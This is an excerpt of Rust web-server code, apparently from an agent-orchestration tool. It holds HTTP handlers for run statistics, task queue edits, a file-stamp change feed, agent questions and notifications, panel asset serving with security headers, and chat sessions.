4487#[derive(Debug, Serialize)]
4493struct AdvisorStatsView {
4494 agent: String,
4495 seated: usize,
4496 proposed: usize,
4497 absent: usize,
4498 faint: usize,
4499 strong: usize,
4500 reflection_rate: Option<RateView>,
4501}
4502
4503impl From<&stats::AdvisorStats> for AdvisorStatsView {
4504 fn from(a: &stats::AdvisorStats) -> Self {
4505 Self {
4506 agent: a.agent.clone(),
4507 seated: a.seated,
4508 proposed: a.proposed,
4509 absent: a.absent,
4510 faint: a.faint,
4511 strong: a.strong,
4512 reflection_rate: RateView::of(a.strong, a.proposed),
4513 }
4514 }
4515}
4516
4517#[derive(Debug, Serialize)]
4519struct E2eStatsView {
4520 rounds: usize,
4521 failures: usize,
4522 sole_detections: usize,
4523 deferred: usize,
4524 sole_rate: Option<RateView>,
4525}
4526
4527impl From<&stats::E2eStats> for E2eStatsView {
4528 fn from(e: &stats::E2eStats) -> Self {
4529 Self {
4530 rounds: e.rounds,
4531 failures: e.failures,
4532 sole_detections: e.sole_detections,
4533 deferred: e.deferred,
4534 sole_rate: RateView::of(e.sole_detections, e.failures),
4535 }
4536 }
4537}
4538
4539#[derive(Debug, Serialize)]
4547struct ReleaseBumpStatsView {
4548 merged: usize,
4549 recorded: usize,
4550 pr_opened: usize,
4551 automerge_enabled: usize,
4552 merged_directly: usize,
4553 needs_attention: usize,
4554 clean: usize,
4555 coverage_rate: Option<RateView>,
4556 automerge_rate: Option<RateView>,
4557 attention_rate: Option<RateView>,
4558}
4559
4560impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4561 fn from(b: &stats::ReleaseBumpStats) -> Self {
4562 Self {
4563 merged: b.merged,
4564 recorded: b.recorded,
4565 pr_opened: b.pr_opened,
4566 automerge_enabled: b.automerge_enabled,
4567 merged_directly: b.merged_directly,
4568 needs_attention: b.needs_attention,
4569 clean: b.clean(),
4570 coverage_rate: RateView::of(b.recorded, b.merged),
4571 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4572 attention_rate: RateView::of(b.needs_attention, b.recorded),
4573 }
4574 }
4575}
4576
4577#[derive(Debug, Serialize)]
4579struct TaskCountsView {
4580 queued: usize,
4581 running: usize,
4582 done: usize,
4583 failed: usize,
4584 held: usize,
4585 blocked: usize,
4586}
4587
4588impl From<crate::queue::TaskCounts> for TaskCountsView {
4589 fn from(c: crate::queue::TaskCounts) -> Self {
4590 Self {
4591 queued: c.queued,
4592 running: c.running,
4593 done: c.done,
4594 failed: c.failed,
4595 held: c.held,
4596 blocked: c.blocked,
4597 }
4598 }
4599}
4600
4601#[derive(Debug, Serialize)]
4607struct RepoSummaryView {
4608 repo: String,
4611 name: String,
4613 runs: usize,
4614 completion_rate: Option<RateView>,
4615}
4616
4617impl From<&stats::RepoStats> for RepoSummaryView {
4618 fn from(r: &stats::RepoStats) -> Self {
4619 let t = &r.stats.totals;
4620 Self {
4621 repo: r.repo.to_string_lossy().into_owned(),
4622 name: r.name.clone(),
4623 runs: t.runs,
4624 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4625 }
4626 }
4627}
4628
4629#[derive(Debug, Serialize)]
4635struct StatsView {
4636 totals: StatsTotalsView,
4637 agents: Vec<AgentStatsView>,
4639 reviewers: Vec<ReviewerStatsView>,
4641 advisors: Vec<AdvisorStatsView>,
4643 e2e: E2eStatsView,
4644 release_bumps: ReleaseBumpStatsView,
4645 queue: TaskCountsView,
4646 runs_unreadable: usize,
4656 repos: Vec<RepoSummaryView>,
4660 repo: Option<String>,
4664}
4665
4666#[derive(Debug, Default, Deserialize)]
4675#[serde(default)]
4676struct StatsQuery {
4677 repo: Option<String>,
4678}
4679
4680async fn stats_get(
4687 State(ui): State<Arc<Ui>>,
4688 Query(q): Query<StatsQuery>,
4689) -> ApiResult<Json<StatsView>> {
4690 blocking(move || {
4691 let states: Vec<RunState> = run_ids(&ui.runs)
4692 .into_iter()
4693 .filter_map(|id| read_run(&ui.runs, &id).ok())
4694 .collect();
4695 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4696 .iter()
4697 .map(RepoSummaryView::from)
4698 .collect();
4699 let collected = match &q.repo {
4700 Some(repo) => {
4701 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4702 if filtered.is_empty() {
4703 return Err(ApiError::not_found(format!(
4704 "no runs recorded against repo `{repo}`"
4705 )));
4706 }
4707 stats::collect_refs(filtered)
4708 }
4709 None => stats::collect(&states),
4710 };
4711 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4712 Ok(Json(StatsView {
4713 totals: StatsTotalsView::from(&collected.totals),
4714 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4715 reviewers: collected
4716 .reviewers
4717 .iter()
4718 .map(ReviewerStatsView::from)
4719 .collect(),
4720 advisors: collected
4721 .advisors
4722 .iter()
4723 .map(AdvisorStatsView::from)
4724 .collect(),
4725 e2e: E2eStatsView::from(&collected.e2e),
4726 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4727 queue: TaskCountsView::from(queue_counts),
4728 runs_unreadable: runs_unreadable(&ui.runs),
4729 repos,
4730 repo: q.repo.clone(),
4731 }))
4732 })
4733 .await
4734}
4735
4736#[derive(Debug, Default, Deserialize)]
4739#[serde(default, deny_unknown_fields)]
4740struct HoldBody {
4741 reason: Option<String>,
4742}
4743
4744async fn queue_hold(
4745 State(ui): State<Arc<Ui>>,
4746 Path(id): Path<String>,
4747 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4748) -> ApiResult<Json<TaskView>> {
4749 let body = match body {
4753 Ok(Json(body)) => body,
4754 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4755 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4756 };
4757 let reason = body.reason.filter(|r| !r.trim().is_empty());
4758 mutate(ui, id, move |t| {
4759 t.hold_manual(reason.clone());
4760 Ok(())
4761 })
4762 .await
4763}
4764
4765async fn queue_release(
4766 State(ui): State<Arc<Ui>>,
4767 Path(id): Path<String>,
4768) -> ApiResult<Json<TaskView>> {
4769 mutate(ui, id, |t| {
4770 t.release();
4771 Ok(())
4772 })
4773 .await
4774}
4775
4776#[derive(Debug, Deserialize)]
4778#[serde(deny_unknown_fields)]
4779struct PriorityBody {
4780 priority: i32,
4781}
4782
4783async fn queue_priority(
4789 State(ui): State<Arc<Ui>>,
4790 Path(id): Path<String>,
4791 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4792) -> ApiResult<Json<TaskView>> {
4793 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4794 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4795}
4796
4797#[derive(Debug, Deserialize)]
4799#[serde(deny_unknown_fields)]
4800struct EditBody {
4801 title: String,
4802 instruction: String,
4803 #[serde(default)]
4806 force: bool,
4807}
4808
4809async fn queue_edit(
4813 State(ui): State<Arc<Ui>>,
4814 Path(id): Path<String>,
4815 body: std::result::Result<Json<EditBody>, JsonRejection>,
4816) -> ApiResult<Json<TaskView>> {
4817 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4818 let mut judged: Option<(String, PathBuf)> = None;
4822 if !body.force {
4823 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4824 let (id, text) = (id.clone(), body.instruction.clone());
4825 let (seen, hits) = blocking(move || {
4826 let id = resolve_task(&queue, &id)?;
4827 let t = queue.get(&id)?;
4828 if text == t.instruction {
4829 return Ok((None, Vec::new()));
4830 }
4831 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4832 Ok((Some((t.instruction, t.repo)), hits))
4833 })
4834 .await?;
4835 if let Some((_, repo)) = &seen {
4836 let cfg = crate::config::Config::discover(repo, None)
4837 .ok()
4838 .map(|(c, _)| c);
4839 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4840 .await
4841 .map_err(|dup| {
4842 ApiError::conflict(dup.render(
4843 "Nothing was saved. If it is not a duplicate, repeat the request with \
4844 \"force\": true.",
4845 ))
4846 })?;
4847 }
4848 judged = seen;
4849 }
4850 let force = body.force;
4851 mutate(ui, id, move |t| {
4852 if !force && body.instruction != t.instruction {
4853 match &judged {
4854 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4855 _ => {
4856 anyhow::bail!("the task changed while it was being checked; repeat the request")
4857 }
4858 }
4859 }
4860 t.edit(body.title.clone(), body.instruction.clone())
4861 })
4862 .await
4863}
4864
4865async fn queue_done(
4873 State(ui): State<Arc<Ui>>,
4874 Path(id): Path<String>,
4875) -> ApiResult<Json<TaskView>> {
4876 let home = ui.home.clone();
4877 mutate(ui, id, move |t| {
4878 t.succeed();
4879 crate::daemon::supersede_prior_runs(t, &home);
4887 Ok(())
4888 })
4889 .await
4890}
4891
4892async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4900 blocking(move || {
4901 let id = resolve_task(&ui.queue, &id)?;
4902 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4903 ui.queue
4904 .remove(&id, in_flight, &ui.questions)
4905 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4906 Ok(StatusCode::NO_CONTENT)
4907 })
4908 .await
4909}
4910
4911async fn mutate(
4920 ui: Arc<Ui>,
4921 id: String,
4922 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4923) -> ApiResult<Json<TaskView>> {
4924 blocking(move || {
4925 let id = resolve_task(&ui.queue, &id)?;
4926 let _claim = ui.queue.claim(&id).map_err(|e| {
4931 ApiError::conflict(format!(
4932 "{e:#} - a daemon is running this task, so it cannot be \
4933 changed from here yet"
4934 ))
4935 })?;
4936 let mut task = ui.queue.get(&id)?;
4937 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4938 Ok(dup) => ApiError::conflict(dup.render(
4939 "Nothing was saved. If it is not a duplicate, repeat the request with \
4940 \"force\": true.",
4941 )),
4942 Err(e) => ApiError::bad_request_from(e),
4943 })?;
4944 ui.queue.put(&mut task)?;
4945 Ok(Json(TaskView::from(task)))
4946 })
4947 .await
4948}
4949
4950async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4958 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4959 tokio::spawn(async move {
4960 let mut ticker = tokio::time::interval(POLL);
4961 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4962 let mut stamps: Option<[Stamps; 3]> = None;
4963 loop {
4964 ticker.tick().await;
4967 let state = Arc::clone(&ui);
4968 let revisions = tokio::task::spawn_blocking(move || {
4969 let stamps = [
4970 store_stamps(state.queue.root(), false),
4971 store_stamps(&state.runs, true),
4972 store_stamps(state.talks.root(), false),
4973 ];
4974 let revisions = (
4975 stamps_revision(&stamps[0]),
4976 stamps_revision(&stamps[1]),
4977 state.questions.revision(),
4978 stamps_revision(&stamps[2]),
4979 state.notices.revision(),
4980 state.lock_loop().rev,
4984 );
4985 (revisions, stamps)
4986 })
4987 .await;
4988 let Ok((revisions, next_stamps)) = revisions else {
4989 break;
4990 };
4991 if last == Some(revisions) {
4992 continue;
4993 }
4994 let mut payload = serde_json::json!({
4995 "queue_rev": revisions.0,
4996 "runs_rev": revisions.1,
4997 "questions_rev": revisions.2,
4998 "talks_rev": revisions.3,
4999 "notifications_rev": revisions.4,
5000 "loop_rev": revisions.5,
5001 });
5002 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5003 for (index, (key, rev)) in [
5004 ("queue_delta", base.0),
5005 ("runs_delta", base.1),
5006 ("talks_delta", base.3),
5007 ]
5008 .into_iter()
5009 .enumerate()
5010 {
5011 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5012 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5014 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5015 }
5016 }
5017 }
5018 last = Some(revisions);
5019 stamps = Some(next_stamps);
5020 let Ok(event) = Event::default().event("change").json_data(payload) else {
5022 break;
5023 };
5024 if tx.send(event).await.is_err() {
5025 break;
5026 }
5027 }
5028 });
5029 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5030 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5031}
5032
5033type Stamps = HashMap<String, (u128, u64)>;
5034
5035fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5037 std::fs::read_dir(root)
5038 .into_iter()
5039 .flatten()
5040 .flatten()
5041 .filter_map(|entry| {
5042 let path = if runs {
5043 entry.path().join("run.json")
5044 } else {
5045 entry.path()
5046 };
5047 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5048 return None;
5049 }
5050 let metadata = path.metadata().ok()?;
5051 let modified = metadata
5052 .modified()
5053 .ok()?
5054 .duration_since(std::time::UNIX_EPOCH)
5055 .ok()?;
5056 let id = if runs {
5057 entry.file_name().to_string_lossy().into_owned()
5058 } else {
5059 path.file_stem()?.to_string_lossy().into_owned()
5060 };
5061 Some((id, (modified.as_nanos(), metadata.len())))
5062 })
5063 .collect()
5064}
5065
5066#[derive(Debug, Serialize)]
5067struct Delta {
5068 base: u64,
5069 changed: Vec<String>,
5070 removed: Vec<String>,
5071}
5072
5073fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5074 let mut changed: Vec<_> = next
5075 .iter()
5076 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5077 .map(|(id, _)| id.clone())
5078 .collect();
5079 let mut removed: Vec<_> = previous
5080 .keys()
5081 .filter(|id| !next.contains_key(*id))
5082 .cloned()
5083 .collect();
5084 changed.sort_unstable();
5085 removed.sort_unstable();
5086 Delta {
5087 base,
5088 changed,
5089 removed,
5090 }
5091}
5092
5093fn runs_revision(runs: &FsPath) -> u64 {
5100 stamps_revision(&store_stamps(runs, true))
5101}
5102
5103fn stamps_revision(stamps: &Stamps) -> u64 {
5107 use std::hash::{Hash as _, Hasher as _};
5108 if stamps.is_empty() {
5109 return 0;
5110 }
5111 let mut entries: Vec<_> = stamps.iter().collect();
5112 entries.sort_unstable();
5113 let mut hasher = std::hash::DefaultHasher::new();
5114 entries.hash(&mut hasher);
5115 hasher.finish().max(1)
5116}
5117
5118fn run_ids(runs: &FsPath) -> Vec<String> {
5124 let mut ids: Vec<String> = std::fs::read_dir(runs)
5125 .into_iter()
5126 .flatten()
5127 .flatten()
5128 .filter(|e| e.path().join("run.json").is_file())
5129 .map(|e| e.file_name().to_string_lossy().into_owned())
5130 .collect();
5131 ids.sort_unstable_by(|a, b| b.cmp(a));
5133 ids
5134}
5135
5136fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5138 let path = runs.join(id).join("run.json");
5139 let body =
5140 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5141 let state: RunState =
5142 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5143 run::migrate_schema(state)
5148}
5149
5150#[must_use]
5158pub fn runs_unreadable(runs: &FsPath) -> usize {
5159 run_ids(runs)
5160 .into_iter()
5161 .filter(|id| read_run(runs, id).is_err())
5162 .count()
5163}
5164
5165fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5167 if runs.join(id).join("run.json").is_file() {
5168 return Ok(id.to_owned());
5169 }
5170 pick(run_ids(runs), id, "run")
5171}
5172
5173fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5175 if queue.path_of(id).is_file() {
5176 return Ok(id.to_owned());
5177 }
5178 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5179}
5180
5181#[derive(Debug, Serialize)]
5192struct QuestionView {
5193 #[serde(flatten)]
5194 question: Question,
5195 detail_md: Vec<md::Node>,
5196 thread_bodies_md: Vec<Vec<md::Node>>,
5198 waiting_on_agent: bool,
5208 holder: Option<&'static str>,
5212 deputies_enabled: bool,
5216 run_is_task: bool,
5219 origin_chat: Option<String>,
5224}
5225
5226impl QuestionView {
5227 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5231 let base = md::ImageBase::QuestionPanel {
5232 id: question.id.clone(),
5233 };
5234 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5235 Self {
5236 detail_md: md::to_nodes(&question.detail, &base),
5237 thread_bodies_md: question
5238 .thread
5239 .iter()
5240 .map(|t| md::to_nodes(&t.body, &base))
5241 .collect(),
5242 waiting_on_agent: question.waiting_on_agent(),
5243 holder,
5244 deputies_enabled,
5245 run_is_task: question.run_names_task(),
5246 origin_chat: None,
5247 question,
5248 }
5249 }
5250
5251 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5253 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5254 self
5255 }
5256}
5257
5258fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5262 Config::discover(repo, None).ok().map(|(c, _)| c)
5263}
5264
5265fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5267 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5268}
5269
5270fn question_views(
5273 qs: Vec<Question>,
5274 store: &ask::Questions,
5275 load: impl FnOnce() -> Option<Config>,
5276) -> Vec<QuestionView> {
5277 if qs.is_empty() {
5278 return Vec::new();
5279 }
5280 let cfg = load();
5281 qs.into_iter()
5282 .map(|q| {
5283 let on = deputies_enabled(cfg.as_ref(), &q);
5284 QuestionView::of(q, store, on)
5285 })
5286 .collect()
5287}
5288
5289fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5299 if !q.status.open() {
5300 return None;
5301 }
5302 if q.cwd.is_none() && q.deputy.is_none() {
5303 return crate::deputy::kind_of(q).map(|_| "nobody");
5304 }
5305 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5306 Some(_) if q.deputy.is_some() => "deputy",
5307 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5308 Some(_) => "asker",
5309 None => "nobody",
5310 })
5311}
5312
5313async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5319 blocking(move || {
5320 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5321 Ok(Json(
5322 question_views(ui.questions.list(), &ui.questions, || {
5323 deputy_config(&ui.repo)
5324 })
5325 .into_iter()
5326 .map(|v| v.with_origin(&tasks, &talks))
5327 .collect(),
5328 ))
5329 })
5330 .await
5331}
5332
5333async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5336 blocking(move || {
5337 let items = ui.notices.list();
5338 let unread = items.iter().filter(|n| n.unread()).count();
5339 Ok(Json(
5340 serde_json::json!({ "unread": unread, "items": items }),
5341 ))
5342 })
5343 .await
5344}
5345
5346fn notice_error(e: anyhow::Error) -> ApiError {
5347 ApiError::not_found(format!("{e:#}"))
5350}
5351
5352async fn notification_read(
5354 State(ui): State<Arc<Ui>>,
5355 Path(id): Path<String>,
5356) -> ApiResult<Json<Notice>> {
5357 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5358}
5359
5360async fn notification_dismiss(
5362 State(ui): State<Arc<Ui>>,
5363 Path(id): Path<String>,
5364) -> ApiResult<Json<Notice>> {
5365 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5366}
5367
5368async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5370 blocking(move || {
5371 let changed = ui.notices.mark_all_read()?;
5372 Ok(Json(serde_json::json!({ "marked": changed })))
5373 })
5374 .await
5375}
5376
5377#[derive(Debug, Default, Deserialize)]
5383#[serde(default, deny_unknown_fields)]
5384struct NewAnswer {
5385 choice: Option<String>,
5386 text: Option<String>,
5387}
5388
5389async fn question_answer(
5390 State(ui): State<Arc<Ui>>,
5391 Path(id): Path<String>,
5392 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5393) -> ApiResult<Json<QuestionView>> {
5394 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5395 let answer = match (body.choice, body.text) {
5396 (Some(c), None) => Answer::Choice(c),
5397 (None, Some(t)) => Answer::Text(t),
5398 (Some(_), Some(_)) => {
5399 return Err(ApiError::bad_request(
5400 "send either `choice` or `text`, not both",
5401 ));
5402 }
5403 (None, None) => {
5404 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5405 }
5406 };
5407
5408 blocking(move || {
5409 let id = resolve_question(&ui.questions, &id)?;
5410 let q = ui
5411 .questions
5412 .get(&id)
5413 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5414 if !q.status.open() {
5415 return Err(ApiError::conflict(format!(
5419 "question {} is already {}",
5420 q.short(),
5421 q.status.as_str()
5422 )));
5423 }
5424 let (q, ()) = ui
5428 .questions
5429 .update(&q.id, |r| r.answer(answer))
5430 .map_err(ApiError::bad_request_from)?;
5431 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5432 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5433 Ok(Json(
5434 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5435 ))
5436 })
5437 .await
5438}
5439
5440#[derive(Debug, Deserialize)]
5442#[serde(deny_unknown_fields)]
5443struct NewSay {
5444 body: String,
5445}
5446
5447async fn question_say(
5457 State(ui): State<Arc<Ui>>,
5458 Path(id): Path<String>,
5459 body: std::result::Result<Json<NewSay>, JsonRejection>,
5460) -> ApiResult<Json<QuestionView>> {
5461 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5462 blocking(move || {
5463 let id = resolve_question(&ui.questions, &id)?;
5464 let q = ui
5465 .questions
5466 .get(&id)
5467 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5468 if !q.status.open() {
5469 return Err(ApiError::conflict(format!(
5473 "question {} is already {}",
5474 q.short(),
5475 q.status.as_str()
5476 )));
5477 }
5478 let (q, ()) = ui
5481 .questions
5482 .update(&q.id, |r| r.say(body.body))
5483 .map_err(ApiError::bad_request_from)?;
5484 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5485 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5486 Ok(Json(
5487 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5488 ))
5489 })
5490 .await
5491}
5492
5493async fn question_consult(
5502 State(ui): State<Arc<Ui>>,
5503 Path(id): Path<String>,
5504) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5505 let (view, reclaimed) = blocking({
5506 let ui = Arc::clone(&ui);
5507 move || {
5508 let id = resolve_question(&ui.questions, &id)?;
5509 let q = ui
5510 .questions
5511 .get(&id)
5512 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5513 if !q.status.open() {
5514 return Err(ApiError::conflict(format!(
5515 "question {} is already {}",
5516 q.short(),
5517 q.status.as_str()
5518 )));
5519 }
5520 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5521 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5522 return Err(ApiError::conflict(format!(
5523 "question {} has no open chat to ask",
5524 q.short()
5525 )));
5526 };
5527 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5528 let claim = if fresh {
5529 match ui.begin_queued_talk_turn(&talk.id)? {
5530 Some(turn_guard) => {
5531 let talk = ui.talks.get(&talk.id)?;
5532 let (cfg, _) = Config::discover(&talk.repo, None)?;
5533 Some((talk, cfg, turn_guard))
5534 }
5535 None => None,
5536 }
5537 } else {
5538 None
5539 };
5540 let q = ui.questions.get(&q.id)?;
5541 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5542 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5543 Ok((view, claim))
5544 }
5545 })
5546 .await?;
5547 if let Some((talk, cfg, turn_guard)) = reclaimed {
5548 let talks = ui.talks.clone();
5549 let id = talk.id.clone();
5550 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5551 }
5552 Ok((StatusCode::ACCEPTED, Json(view)))
5553}
5554
5555fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5557 if store.path_of(id).is_file() {
5558 return Ok(id.to_owned());
5559 }
5560 pick(
5561 store.list().into_iter().map(|q| q.id).collect(),
5562 id,
5563 "question",
5564 )
5565}
5566
5567async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5582 blocking(move || {
5583 let id = resolve_question(&ui.questions, &id)?;
5584 let Some(html) = ui.questions.panel_html(&id) else {
5585 return Err(ApiError::not_found(format!("question {id} has no panel")));
5586 };
5587 Ok(panel_response(
5588 "text/html; charset=utf-8",
5589 false,
5590 html.into_bytes(),
5591 ))
5592 })
5593 .await
5594}
5595
5596async fn question_asset(
5624 State(ui): State<Arc<Ui>>,
5625 Path((id, name)): Path<(String, String)>,
5626) -> ApiResult<Response> {
5627 if !crate::ask::valid_asset_name(&name) {
5630 return Err(ApiError::bad_request(format!(
5631 "`{name}` is not a usable asset name"
5632 )));
5633 }
5634 blocking(move || {
5635 let id = resolve_question(&ui.questions, &id)?;
5636 let asset = ui
5637 .questions
5638 .panel_asset(&id, &name)
5639 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5640 let Some(bytes) = asset else {
5641 return Err(ApiError::not_found(format!(
5642 "question {id} has no asset `{name}`"
5643 )));
5644 };
5645 Ok(panel_response(
5646 asset_content_type(&name),
5647 is_svg(&name),
5648 bytes,
5649 ))
5650 })
5651 .await
5652}
5653
5654fn asset_content_type(name: &str) -> &'static str {
5667 match extension(name).as_deref() {
5668 Some("png") => "image/png",
5669 Some("jpg" | "jpeg") => "image/jpeg",
5670 Some("gif") => "image/gif",
5671 Some("webp") => "image/webp",
5672 Some("svg") => "image/svg+xml",
5673 Some("css") => "text/css; charset=utf-8",
5674 Some("txt") => "text/plain; charset=utf-8",
5675 _ => "application/octet-stream",
5676 }
5677}
5678
5679fn is_svg(name: &str) -> bool {
5682 extension(name).as_deref() == Some("svg")
5683}
5684
5685fn extension(name: &str) -> Option<String> {
5687 name.rsplit_once('.')
5688 .map(|(_, ext)| ext.to_ascii_lowercase())
5689}
5690
5691fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5708 let mut res = (
5709 [
5710 (header::CONTENT_TYPE, content_type),
5711 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5712 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5713 (header::REFERRER_POLICY, "no-referrer"),
5714 ],
5715 body,
5716 )
5717 .into_response();
5718 if download {
5719 res.headers_mut().insert(
5720 header::CONTENT_DISPOSITION,
5721 HeaderValue::from_static("attachment"),
5722 );
5723 }
5724 res
5725}
5726
5727#[derive(Debug, Serialize)]
5733struct TalkView {
5734 #[serde(flatten)]
5735 talk: Talk,
5736 turn_bodies_md: Vec<Vec<md::Node>>,
5737 thinking: bool,
5745 context: talk::ContextUsage,
5749}
5750
5751impl TalkView {
5752 fn new(talk: Talk, thinking: bool) -> Self {
5755 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5756 Self::with_config(talk, thinking, cfg.as_ref())
5757 }
5758
5759 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5762 let context = talk::context_usage(&talk, cfg);
5763 let turn_bodies_md = talk
5764 .turns
5765 .iter()
5766 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5767 .collect();
5768 Self {
5769 turn_bodies_md,
5770 thinking,
5771 context,
5772 talk,
5773 }
5774 }
5775}
5776
5777#[derive(Debug, Serialize)]
5782struct TalkDetailView {
5783 #[serde(flatten)]
5784 view: TalkView,
5785 tasks: Vec<TaskView>,
5786 roster: Vec<RosterEntry>,
5789}
5790
5791#[derive(Debug, Serialize)]
5793struct RosterEntry {
5794 id: String,
5795 kind: AgentKind,
5796 runnable: bool,
5798}
5799
5800async fn talks_list(
5805 State(ui): State<Arc<Ui>>,
5806 Query(q): Query<ListQuery>,
5807) -> ApiResult<Json<Vec<TalkView>>> {
5808 blocking(move || {
5809 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5810 Ok(Json(
5811 ui.talks
5812 .list()
5813 .into_iter()
5814 .filter(|talk| q.contains(&talk.id))
5815 .map(|talk| {
5816 let thinking = ui.is_thinking(&talk.id);
5817 let cfg = configs
5818 .entry(talk.repo.clone())
5819 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5820 TalkView::with_config(talk, thinking, cfg.as_ref())
5821 })
5822 .collect(),
5823 ))
5824 })
5825 .await
5826}
5827
5828#[derive(Debug, Default, Deserialize)]
5833#[serde(default)]
5834struct NewTalk {
5835 agent: Option<String>,
5836 repo: Option<PathBuf>,
5837}
5838
5839async fn talk_post(
5842 State(ui): State<Arc<Ui>>,
5843 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5844) -> ApiResult<impl IntoResponse> {
5845 let body = match body {
5849 Ok(Json(body)) => body,
5850 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5851 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5852 };
5853 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5854 let cfg = config_for(&repo).await?;
5855 let view = blocking(move || {
5856 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5857 let thinking = ui.is_thinking(&talk.id);
5858 Ok(TalkView::new(talk, thinking))
5859 })
5860 .await?;
5861 Ok((StatusCode::CREATED, Json(view)))
5862}
5863
